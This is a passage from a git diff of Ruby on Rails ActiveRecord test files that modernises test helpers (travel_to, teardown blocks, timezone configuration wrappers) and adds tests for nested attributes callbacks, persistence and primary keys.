copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/magic"})
- assert File.exists?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
+ assert File.exist?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
assert_equal [@migrations_path + "/4_currencies_have_symbols.bukkits.rb"], copied.map(&:filename)
expected = "# coding: ISO-8859-15\n# This migration comes from bukkits (originally 1)"
@@ -825,10 +897,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/non_existing"
@existing_migrations = []
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
- assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
assert_equal 2, copied.length
end
ensure
@@ -840,10 +912,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/empty"
@existing_migrations = []
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
- assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
assert_equal 2, copied.length
end
ensure
diff --git a/activerecord/test/cases/migrator_test.rb b/activerecord/test/cases/migrator_test.rb
index b5a69c4a92..9568aa2217 100644
--- a/activerecord/test/cases/migrator_test.rb
+++ b/activerecord/test/cases/migrator_test.rb
@@ -26,8 +26,7 @@ module ActiveRecord
ActiveRecord::SchemaMigration.delete_all rescue nil
end
- def teardown
- super
+ teardown do
ActiveRecord::SchemaMigration.delete_all rescue nil
ActiveRecord::Migration.verbose = true
end
@@ -91,15 +90,9 @@ module ActiveRecord
assert_equal 'AddExpressions', migrations[0].name
end
- def test_deprecated_constructor
- assert_deprecated do
- ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid")
- end
- end
-
def test_relative_migrations
list = Dir.chdir(MIGRATIONS_ROOT) do
- ActiveRecord::Migrator.migrations("valid/")
+ ActiveRecord::Migrator.migrations("valid")
end
migration_proxy = list.find { |item|
diff --git a/activerecord/test/cases/mixin_test.rb b/activerecord/test/cases/mixin_test.rb
index f927c13979..7ddb2bfee1 100644
--- a/activerecord/test/cases/mixin_test.rb
+++ b/activerecord/test/cases/mixin_test.rb
@@ -3,42 +3,15 @@ require "cases/helper"
class Mixin < ActiveRecord::Base
end
-# Let us control what Time.now returns for the TouchTest suite
-class Time
- @@forced_now_time = nil
- cattr_accessor :forced_now_time
-
- class << self
- def now_with_forcing
- if @@forced_now_time
- @@forced_now_time
- else
- now_without_forcing
- end
- end
- alias_method_chain :now, :forcing
- end
-end
-
-
class TouchTest < ActiveRecord::TestCase
fixtures :mixins
- def setup
- Time.forced_now_time = Time.now
+ setup do
+ travel_to Time.now
end
- def teardown
- Time.forced_now_time = nil
- end
-
- def test_time_mocking
- five_minutes_ago = 5.minutes.ago
- Time.forced_now_time = five_minutes_ago
- assert_equal five_minutes_ago, Time.now
-
- Time.forced_now_time = nil
- assert_not_equal five_minutes_ago, Time.now
+ teardown do
+ travel_back
end
def test_update
@@ -68,12 +41,13 @@ class TouchTest < ActiveRecord::TestCase
old_updated_at = stamped.updated_at
- Time.forced_now_time = 5.minutes.from_now
- stamped.lft_will_change!
- stamped.save
+ travel 5.minutes do
+ stamped.lft_will_change!
+ stamped.save
- assert_equal Time.now, stamped.updated_at
- assert_equal old_updated_at, stamped.created_at
+ assert_equal Time.now, stamped.updated_at
+ assert_equal old_updated_at, stamped.created_at
+ end
end
def test_create_turned_off
diff --git a/activerecord/test/cases/modules_test.rb b/activerecord/test/cases/modules_test.rb
index 08b3408665..f7db195521 100644
--- a/activerecord/test/cases/modules_test.rb
+++ b/activerecord/test/cases/modules_test.rb
@@ -1,6 +1,7 @@
require "cases/helper"
require 'models/company_in_module'
require 'models/shop'
+require 'models/developer'
class ModulesTest < ActiveRecord::TestCase
fixtures :accounts, :companies, :projects, :developers, :collections, :products, :variants
@@ -17,7 +18,7 @@ class ModulesTest < ActiveRecord::TestCase
ActiveRecord::Base.store_full_sti_class = false
end
- def teardown
+ teardown do
# reinstate the constants that we undefined in the setup
@undefined_consts.each do |constant, value|
Object.send :const_set, constant, value unless value.nil?
diff --git a/activerecord/test/cases/multiparameter_attributes_test.rb b/activerecord/test/cases/multiparameter_attributes_test.rb
index 1209f5460f..c70a8f296f 100644
--- a/activerecord/test/cases/multiparameter_attributes_test.rb
+++ b/activerecord/test/cases/multiparameter_attributes_test.rb
@@ -5,12 +5,6 @@ require 'models/customer'
class MultiParameterAttributeTest < ActiveRecord::TestCase
fixtures :topics
- def setup
- ActiveRecord::Base.time_zone_aware_attributes = false
- ActiveRecord::Base.default_timezone = :local
- Time.zone = nil
- end
-
def test_multiparameter_attributes_on_date
attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "24" }
topic = Topic.find(1)
@@ -82,13 +76,15 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
end
def test_multiparameter_attributes_on_time
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+ with_timezone_config default: :local do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+ end
end
def test_multiparameter_attributes_on_time_with_no_date
@@ -148,13 +144,15 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
end
def test_multiparameter_attributes_on_time_will_ignore_hour_if_missing
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
- "written_on(5i)" => "12", "written_on(6i)" => "02"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+ with_timezone_config default: :local do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
+ "written_on(5i)" => "12", "written_on(6i)" => "02"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+ end
end
def test_multiparameter_attributes_on_time_will_ignore_hour_if_blank
@@ -176,6 +174,7 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
topic.attributes = attributes
assert_nil topic.written_on
end
+
def test_multiparameter_attributes_on_time_with_seconds_will_ignore_date_if_empty
attributes = {
"written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
@@ -187,56 +186,56 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
end
def test_multiparameter_attributes_on_time_with_utc
- ActiveRecord::Base.default_timezone = :utc
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+ with_timezone_config default: :utc do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+ end
end
def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes
- ActiveRecord::Base.time_zone_aware_attributes = true
- ActiveRecord::Base.default_timezone = :utc
- Time.zone = ActiveSupport::TimeZone[-28800]
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
- assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
- assert_equal Time.zone, topic.written_on.time_zone
+ with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
+ assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
+ assert_equal Time.zone, topic.written_on.time_zone
+ end
end
def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
- Time.zone = ActiveSupport::TimeZone[-28800]
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
- assert_equal false, topic.written_on.respond_to?(:time_zone)
+ with_timezone_config default: :local, aware_attributes: false, zone: -28800 do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+ assert_equal false, topic.written_on.respond_to?(:time_zone)
+ end
end
def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes
- ActiveRecord::Base.time_zone_aware_attributes = true
- ActiveRecord::Base.default_timezone = :utc
- Time.zone = ActiveSupport::TimeZone[-28800]
- Topic.skip_time_zone_conversion_for_attributes = [:written_on]
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
- assert_equal false, topic.written_on.respond_to?(:time_zone)
+ with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+ Topic.skip_time_zone_conversion_for_attributes = [:written_on]
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+ assert_equal false, topic.written_on.respond_to?(:time_zone)
+ end
ensure
Topic.skip_time_zone_conversion_for_attributes = []
end
@@ -244,36 +243,37 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
# Oracle, and Sybase do not have a TIME datatype.
unless current_adapter?(:OracleAdapter, :SybaseAdapter)
def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
- ActiveRecord::Base.time_zone_aware_attributes = true
- ActiveRecord::Base.default_timezone = :utc
- Time.zone = ActiveSupport::TimeZone[-28800]
+ with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+ attributes = {
+ "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
+ "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
+ assert topic.bonus_time.utc?
+ end
+ end
+ end
+
+ def test_multiparameter_attributes_on_time_with_empty_seconds
+ with_timezone_config default: :local do
attributes = {
- "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
- "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
}
topic = Topic.find(1)
topic.attributes = attributes
- assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
- assert topic.bonus_time.utc?
+ assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
end
end
- def test_multiparameter_attributes_on_time_with_empty_seconds
- attributes = {
- "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
- "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
- end
-
- def test_multiparameter_attributes_setting_time_attribute
- return skip "Oracle does not have TIME data type" if current_adapter? :OracleAdapter
-
- topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
- assert_equal 1, topic.bonus_time.hour
- assert_equal 5, topic.bonus_time.min
+ unless current_adapter? :OracleAdapter
+ def test_multiparameter_attributes_setting_time_attribute
+ topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
+ assert_equal 1, topic.bonus_time.hour
+ assert_equal 5, topic.bonus_time.min
+ end
end
def test_multiparameter_attributes_setting_date_attribute
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
index 2e386a172a..3831de6ae3 100644
--- a/activerecord/test/cases/multiple_db_test.rb
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -101,7 +101,7 @@ class MultipleDbTest < ActiveRecord::TestCase
College.first.courses.first
end
ensure
- ActiveRecord::Base.establish_connection 'arunit'
+ ActiveRecord::Base.establish_connection :arunit
end
end
end
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
index 2f89699df7..cf96c3fccf 100644
--- a/activerecord/test/cases/nested_attributes_test.rb
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -11,24 +11,8 @@ require "models/owner"
require "models/pet"
require 'active_support/hash_with_indifferent_access'
-module AssertRaiseWithMessage
- def assert_raise_with_message(expected_exception, expected_message)
- begin
- error_raised = false
- yield
- rescue expected_exception => error
- error_raised = true
- actual_message = error.message
- end
- assert error_raised
- assert_equal expected_message, actual_message
- end
-end
-
class TestNestedAttributesInGeneral < ActiveRecord::TestCase
- include AssertRaiseWithMessage
-
- def teardown
+ teardown do
Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
end
@@ -71,9 +55,10 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
end
def test_should_raise_an_ArgumentError_for_non_existing_associations
- assert_raise_with_message ArgumentError, "No association found for name `honesty'. Has it been defined yet?" do
+ exception = assert_raise ArgumentError do
Pirate.accepts_nested_attributes_for :honesty
end
+ assert_equal "No association found for name `honesty'. Has it been defined yet?", exception.message
end
def test_should_disable_allow_destroy_by_default
@@ -213,17 +198,16 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
end
class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
- include AssertRaiseWithMessage
-
def setup
@pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
@ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
end
def test_should_raise_argument_error_if_trying_to_build_polymorphic_belongs_to
- assert_raise_with_message ArgumentError, "Cannot build association `looter'. Are you trying to build a polymorphic one-to-one association?" do
+ exception = assert_raise ArgumentError do
Treasure.new(:name => 'pearl', :looter_attributes => {:catchphrase => "Arrr"})
end
+ assert_equal "Cannot build association `looter'. Are you trying to build a polymorphic one-to-one association?", exception.message
end
def test_should_define_an_attribute_writer_method_for_the_association
@@ -275,9 +259,10 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
end
def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
- assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Ship with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
+ exception = assert_raise ActiveRecord::RecordNotFound do
@pirate.ship_attributes = { :id => 1234567890 }
end
+ assert_equal "Couldn't find Ship with ID=1234567890 for Pirate with ID=#{@pirate.id}", exception.message
end
def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
@@ -403,8 +388,6 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
end
class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
- include AssertRaiseWithMessage
-
def setup
@ship = Ship.new(:name => 'Nights Dirty Lightning')
@pirate = @ship.build_pirate(:catchphrase => 'Aye')
@@ -460,9 +443,10 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
end
def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
- assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Pirate with ID=1234567890 for Ship with ID=#{@ship.id}" do
+ exception = assert_raise ActiveRecord::RecordNotFound do
@ship.pirate_attributes = { :id => 1234567890 }
end
+ assert_equal "Couldn't find Pirate with ID=1234567890 for Ship with ID=#{@ship.id}", exception.message
end
def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
@@ -579,8 +563,6 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
end
module NestedAttributesOnACollectionAssociationTests
- include AssertRaiseWithMessage
-
def test_should_define_an_attribute_writer_method_for_the_association
assert_respond_to @pirate, association_setter
end
@@ -670,9 +652,10 @@ module NestedAttributesOnACollectionAssociationTests
end
def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
- assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
+ exception = assert_raise ActiveRecord::RecordNotFound do
@pirate.attributes = { association_getter => [{ :id => 1234567890 }] }
end
+ assert_equal "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}", exception.message
end
def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing
@@ -727,9 +710,10 @@ module NestedAttributesOnACollectionAssociationTests
assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) }
assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, Hash.new) }
- assert_raise_with_message ArgumentError, 'Hash or Array expected, got String ("foo")' do
+ exception = assert_raise ArgumentError do
@pirate.send(association_setter, "foo")
end
+ assert_equal 'Hash or Array expected, got String ("foo")', exception.message
end
def test_should_work_with_update_as_well
diff --git a/activerecord/test/cases/nested_attributes_with_callbacks_test.rb b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
new file mode 100644
index 0000000000..43a69928b6
--- /dev/null
+++ b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
@@ -0,0 +1,144 @@
+require "cases/helper"
+require "models/pirate"
+require "models/bird"
+
+class NestedAttributesWithCallbacksTest < ActiveRecord::TestCase
+ Pirate.has_many(:birds_with_add_load,
+ :class_name => "Bird",
+ :before_add => proc { |p,b|
+ @@add_callback_called << b
+ p.birds_with_add_load.to_a
+ })
+ Pirate.has_many(:birds_with_add,
+ :class_name => "Bird",
+ :before_add => proc { |p,b| @@add_callback_called << b })
+
+ Pirate.accepts_nested_attributes_for(:birds_with_add_load,
+ :birds_with_add,
+ :allow_destroy => true)
+
+ def setup
+ @@add_callback_called = []
+ @pirate = Pirate.new.tap do |pirate|
+ pirate.catchphrase = "Don't call me!"
+ pirate.birds_attributes = [{:name => 'Bird1'},{:name => 'Bird2'}]
+ pirate.save!
+ end
+ @birds = @pirate.birds.to_a
+ end
+
+ def bird_to_update
+ @birds[0]
+ end
+
+ def bird_to_destroy
+ @birds[1]
+ end
+
+ def existing_birds_attributes
+ @birds.map do |bird|
+ bird.attributes.slice("id","name")
+ end
+ end
+
+ def new_birds
+ @pirate.birds_with_add.to_a - @birds
+ end
+
+ def new_bird_attributes
+ [{'name' => "New Bird"}]
+ end
+
+ def destroy_bird_attributes
+ [{'id' => bird_to_destroy.id.to_s, "_destroy" => true}]
+ end
+
+ def update_new_and_destroy_bird_attributes
+ [{'id' => @birds[0].id.to_s, 'name' => 'New Name'},
+ {'name' => "New Bird"},
+ {'id' => bird_to_destroy.id.to_s, "_destroy" => true}]
+ end
+
+ # Characterizing when :before_add callback is called
+ test ":before_add called for new bird when not loaded" do
+ assert_not @pirate.birds_with_add.loaded?
+ @pirate.birds_with_add_attributes = new_bird_attributes
+ assert_new_bird_with_callback_called
+ end
+
+ test ":before_add called for new bird when loaded" do
+ @pirate.birds_with_add.load_target
+ @pirate.birds_with_add_attributes = new_bird_attributes
+ assert_new_bird_with_callback_called
+ end
+
+ def assert_new_bird_with_callback_called
+ assert_equal(1, new_birds.size)
+ assert_equal(new_birds, @@add_callback_called)
+ end
+
+ test ":before_add not called for identical assignment when not loaded" do
+ assert_not @pirate.birds_with_add.loaded?
+ @pirate.birds_with_add_attributes = existing_birds_attributes
+ assert_callbacks_not_called
+ end
+
+ test ":before_add not called for identical assignment when loaded" do
+ @pirate.birds_with_add.load_target
+ @pirate.birds_with_add_attributes = existing_birds_attributes
+ assert_callbacks_not_called
+ end
+
+ test ":before_add not called for destroy assignment when not loaded" do
+ assert_not @pirate.birds_with_add.loaded?
+ @pirate.birds_with_add_attributes = destroy_bird_attributes
+ assert_callbacks_not_called
+ end
+
+ test ":before_add not called for deletion assignment when loaded" do
+ @pirate.birds_with_add.load_target
+ @pirate.birds_with_add_attributes = destroy_bird_attributes
+ assert_callbacks_not_called
+ end
+
+ def assert_callbacks_not_called
+ assert_empty new_birds
+ assert_empty @@add_callback_called
+ end
+
+ # Ensuring that the records in the association target are updated,
+ # whether the association is loaded before or not
+ test "Assignment updates records in target when not loaded" do
+ assert_not @pirate.birds_with_add.loaded?
+ @pirate.birds_with_add_attributes = update_new_and_destroy_bird_attributes
+ assert_assignment_affects_records_in_target(:birds_with_add)
+ end
+
+ test "Assignment updates records in target when loaded" do
+ @pirate.birds_with_add.load_target
+ @pirate.birds_with_add_attributes = update_new_and_destroy_bird_attributes
+ assert_assignment_affects_records_in_target(:birds_with_add)
+ end
+
+ test("Assignment updates records in target when not loaded" +
+ " and callback loads target") do
+ assert_not @pirate.birds_with_add_load.loaded?
+ @pirate.birds_with_add_load_attributes = update_new_and_destroy_bird_attributes
+ assert_assignment_affects_records_in_target(:birds_with_add_load)
+ end
+
+ test("Assignment updates records in target when loaded" +
+ " and callback loads target") do
+ @pirate.birds_with_add_load.load_target
+ @pirate.birds_with_add_load_attributes = update_new_and_destroy_bird_attributes
+ assert_assignment_affects_records_in_target(:birds_with_add_load)
+ end
+
+ def assert_assignment_affects_records_in_target(association_name)
+ association = @pirate.send(association_name)
+ assert association.detect {|b| b == bird_to_update }.name_changed?,
+ 'Update record not updated'
+ assert association.detect {|b| b == bird_to_destroy }.marked_for_destruction?,
+ 'Destroy record not marked for destruction'
+ end
+end
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
index 30dc2a34c6..823146b399 100644
--- a/activerecord/test/cases/persistence_test.rb
+++ b/activerecord/test/cases/persistence_test.rb
@@ -152,6 +152,20 @@ class PersistenceTest < ActiveRecord::TestCase
assert_equal original_errors, client.errors
end
+ def test_dupd_becomes_persists_changes_from_the_original
+ original = topics(:first)
+ copy = original.dup.becomes(Reply)
+ copy.save!
+ assert_equal "The First Topic", Topic.find(copy.id).title
+ end
+
+ def test_becomes_includes_changed_attributes
+ company = Company.new(name: "37signals")
+ client = company.becomes(Client)
+ assert_equal "37signals", client.name
+ assert_equal %w{name}, client.changed
+ end
+
def test_delete_many
original_count = Topic.count
Topic.delete(deleting = [1, 2])
@@ -219,6 +233,15 @@ class PersistenceTest < ActiveRecord::TestCase
assert_nothing_raised { Minimalistic.create!(:id => 2) }
end
+ def test_save_with_duping_of_destroyed_object
+ developer = Developer.first
+ developer.destroy
+ new_developer = developer.dup
+ new_developer.save
+ assert new_developer.persisted?
+ assert_not new_developer.destroyed?
+ end
+
def test_create_many
topics = Topic.create([ { "title" => "first" }, { "title" => "second" }])
assert_equal 2, topics.size
@@ -419,10 +442,6 @@ class PersistenceTest < ActiveRecord::TestCase
assert !Topic.find(1).approved?
end
- def test_update_attribute_does_not_choke_on_nil
- assert Topic.find(1).update(nil)
- end
-
def test_update_attribute_for_readonly_attribute
minivan = Minivan.find('m1')
assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_attribute(:color, 'black') }
@@ -442,7 +461,7 @@ class PersistenceTest < ActiveRecord::TestCase
def test_update_attribute_for_updated_at_on
developer = Developer.find(1)
- prev_month = Time.now.prev_month
+ prev_month = Time.now.prev_month.change(usec: 0)
developer.update_attribute(:updated_at, prev_month)
assert_equal prev_month, developer.updated_at
@@ -513,7 +532,7 @@ class PersistenceTest < ActiveRecord::TestCase
def test_update_column_should_not_modify_updated_at
developer = Developer.find(1)
- prev_month = Time.now.prev_month
+ prev_month = Time.now.prev_month.change(usec: 0)
developer.update_column(:updated_at, prev_month)
assert_equal prev_month, developer.updated_at
@@ -610,7 +629,7 @@ class PersistenceTest < ActiveRecord::TestCase
def test_update_columns_should_not_modify_updated_at
developer = Developer.find(1)
- prev_month = Time.now.prev_month
+ prev_month = Time.now.prev_month.change(usec: 0)
developer.update_columns(updated_at: prev_month)
assert_equal prev_month, developer.updated_at
@@ -701,6 +720,17 @@ class PersistenceTest < ActiveRecord::TestCase
assert_equal topic.title, Topic.find(1234).title
end
+ def test_update_attributes_parameters
+ topic = Topic.find(1)
+ assert_nothing_raised do
+ topic.update_attributes({})
+ end
+
+ assert_raises(ArgumentError) do
+ topic.update_attributes(nil)
+ end
+ end
+
def test_update!
Reply.validates_presence_of(:title)
reply = Reply.find(2)
@@ -719,7 +749,7 @@ class PersistenceTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::RecordInvalid) { reply.update!(title: nil, content: "Have a nice evening") }
ensure
- Reply.reset_callbacks(:validate)
+ Reply.clear_validators!
end
def test_update_attributes!
@@ -740,7 +770,7 @@ class PersistenceTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(title: nil, content: "Have a nice evening") }
ensure
- Reply.reset_callbacks(:validate)
+ Reply.clear_validators!
end
def test_destroyed_returns_boolean
diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb
index a8a9b06ec4..dd0e934ec2 100644
--- a/activerecord/test/cases/pooled_connections_test.rb
+++ b/activerecord/test/cases/pooled_connections_test.rb
@@ -10,28 +10,12 @@ class PooledConnectionsTest < ActiveRecord::TestCase
@connection = ActiveRecord::Base.remove_connection
end
- def teardown
+ teardown do
ActiveRecord::Base.clear_all_connections!
ActiveRecord::Base.establish_connection(@connection)
@per_test_teardown.each {|td| td.call }
end
- def checkout_connections
- ActiveRecord::Base.establish_connection(@connection.merge({:pool => 2, :checkout_timeout => 0.3}))
- @connections = []
- @timed_out = 0
-
- 4.times do
- Thread.new do
- begin
- @connections << ActiveRecord::Base.connection_pool.checkout
- rescue ActiveRecord::ConnectionTimeoutError
- @timed_out += 1
- end
- end.join
- end
- end
-
# Will deadlock due to lack of Monitor timeouts in 1.9
def checkout_checkin_connections(pool_size, threads)
ActiveRecord::Base.establish_connection(@connection.merge({:pool => pool_size, :checkout_timeout => 0.5}))
diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb
index aa125c70c5..51ddd406ed 100644
--- a/activerecord/test/cases/primary_keys_test.rb
+++ b/activerecord/test/cases/primary_keys_test.rb
@@ -180,24 +180,29 @@ class PrimaryKeysTest < ActiveRecord::TestCase
assert !col1.equal?(col2)
end
end
+
+ def test_auto_detect_primary_key_from_schema
+ MixedCaseMonkey.reset_primary_key
+ assert_equal "monkeyID", MixedCaseMonkey.primary_key
+ end
end
class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
- def test_set_primary_key_with_no_connection
- return skip("disconnect wipes in-memory db") if in_memory_db?
-
- connection = ActiveRecord::Base.remove_connection
+ unless in_memory_db?
+ def test_set_primary_key_with_no_connection
+ connection = ActiveRecord::Base.remove_connection
- model = Class.new(ActiveRecord::Base)
- model.primary_key = 'foo'
+ model = Class.new(ActiveRecord::Base)
+ model.primary_key = 'foo'
- assert_equal 'foo', model.primary_key
+ assert_equal 'foo', model.primary_key
- ActiveRecord::Base.establish_connection(connection)
+ ActiveRecord::Base.establish_connection(connection)
- assert_equal 'foo', model.primary_key
+ assert_equal 'foo', model.primary_key
+ end
end
end
